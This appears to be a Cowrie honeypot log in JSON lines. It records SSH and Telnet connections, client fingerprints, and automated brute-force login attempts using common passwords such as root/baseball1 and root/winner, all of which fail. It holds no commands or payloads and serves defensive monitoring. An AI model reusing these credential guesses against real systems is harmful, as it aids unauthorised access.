{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:57.435728Z","src_ip":"94.159.98.239","session":"527bb5528099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:57.440141Z","src_ip":"94.159.98.239","session":"527bb5528099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baseball1","message":"login attempt [root/baseball1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:58.649497Z","src_ip":"94.159.98.239","session":"527bb5528099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:27:59.843049Z","src_ip":"94.159.98.239","session":"527bb5528099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35062,"dst_ip":"159.203.135.109","dst_port":22,"session":"75c2f48d10a4","protocol":"ssh","message":"New connection: 51.250.105.222:35062 (159.203.135.109:22) [session: 75c2f48d10a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:28:20.979862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:28:20.985044Z","src_ip":"51.250.105.222","session":"75c2f48d10a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:28:21.114994Z","src_ip":"51.250.105.222","session":"75c2f48d10a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"winner","message":"login attempt [root/winner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:28:21.505604Z","src_ip":"51.250.105.222","session":"75c2f48d10a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:28:22.637784Z","src_ip":"51.250.105.222","session":"75c2f48d10a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":36890,"dst_ip":"10.17.0.5","dst_port":22,"session":"d103835cf36e","protocol":"ssh","message":"New connection: 80.225.252.182:36890 (10.17.0.5:22) [session: d103835cf36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:12.321090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:12.326876Z","src_ip":"80.225.252.182","session":"d103835cf36e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:12.521609Z","src_ip":"80.225.252.182","session":"d103835cf36e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optic","message":"login attempt [root/optic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:13.320552Z","src_ip":"80.225.252.182","session":"d103835cf36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:14.522302Z","src_ip":"80.225.252.182","session":"d103835cf36e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50526,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d4e088c6f4e","protocol":"ssh","message":"New connection: 80.94.92.184:50526 (159.203.135.109:22) [session: 7d4e088c6f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:20.196844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:20.236011Z","src_ip":"80.94.92.184","session":"7d4e088c6f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:20.354408Z","src_ip":"80.94.92.184","session":"7d4e088c6f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:21.096138Z","src_ip":"80.94.92.184","session":"7d4e088c6f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:22.370743Z","src_ip":"80.94.92.184","session":"7d4e088c6f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":47644,"dst_ip":"159.203.135.109","dst_port":22,"session":"56651a629e82","protocol":"ssh","message":"New connection: 103.122.221.179:47644 (159.203.135.109:22) [session: 56651a629e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:33.550118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:33.554929Z","src_ip":"103.122.221.179","session":"56651a629e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:33.819605Z","src_ip":"103.122.221.179","session":"56651a629e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a1a1a","message":"login attempt [root/1a1a1a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:34.613537Z","src_ip":"103.122.221.179","session":"56651a629e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:35.883929Z","src_ip":"103.122.221.179","session":"56651a629e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95c2dd9da36","protocol":"telnet","message":"New connection: 192.119.13.58:46592 (10.17.0.5:23) [session: f95c2dd9da36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:40.471054Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38162,"dst_ip":"159.203.135.109","dst_port":22,"session":"19833e444f05","protocol":"ssh","message":"New connection: 103.153.68.219:38162 (159.203.135.109:22) [session: 19833e444f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:42.680818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:42.685269Z","src_ip":"103.153.68.219","session":"19833e444f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:42.931082Z","src_ip":"103.153.68.219","session":"19833e444f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233q","message":"login attempt [root/112233q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:43.669626Z","src_ip":"103.153.68.219","session":"19833e444f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:44.918693Z","src_ip":"103.153.68.219","session":"19833e444f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":39016,"dst_ip":"10.17.0.5","dst_port":22,"session":"db8925fd74c0","protocol":"ssh","message":"New connection: 176.65.148.108:39016 (10.17.0.5:22) [session: db8925fd74c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:51.729404Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:51.814589Z","src_ip":"176.65.148.108","session":"db8925fd74c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":39022,"dst_ip":"10.17.0.5","dst_port":22,"session":"59deed57d464","protocol":"ssh","message":"New connection: 176.65.148.108:39022 (10.17.0.5:22) [session: 59deed57d464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:51.892802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:51.901003Z","src_ip":"176.65.148.108","session":"59deed57d464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:52.008293Z","src_ip":"176.65.148.108","session":"59deed57d464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a207","password":"a207123456","message":"login attempt [a207/a207123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:52.263911Z","src_ip":"176.65.148.108","session":"59deed57d464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:53.349027Z","src_ip":"176.65.148.108","session":"59deed57d464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":53666,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d97a923d45","protocol":"ssh","message":"New connection: 157.230.190.155:53666 (10.17.0.5:22) [session: c6d97a923d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:53.638059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:53.642892Z","src_ip":"157.230.190.155","session":"c6d97a923d45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:53.647807Z","src_ip":"157.230.190.155","session":"c6d97a923d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"topper","message":"login attempt [root/topper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:53.697536Z","src_ip":"157.230.190.155","session":"c6d97a923d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:29:54.706564Z","src_ip":"157.230.190.155","session":"c6d97a923d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.197115898132324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:30:14.668091Z","src_ip":"192.119.13.58","session":"f95c2dd9da36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":51040,"dst_ip":"10.17.0.5","dst_port":22,"session":"699c50469533","protocol":"ssh","message":"New connection: 77.94.47.83:51040 (10.17.0.5:22) [session: 699c50469533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:30:43.453492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:30:43.459865Z","src_ip":"77.94.47.83","session":"699c50469533","protocol":"ssh"}
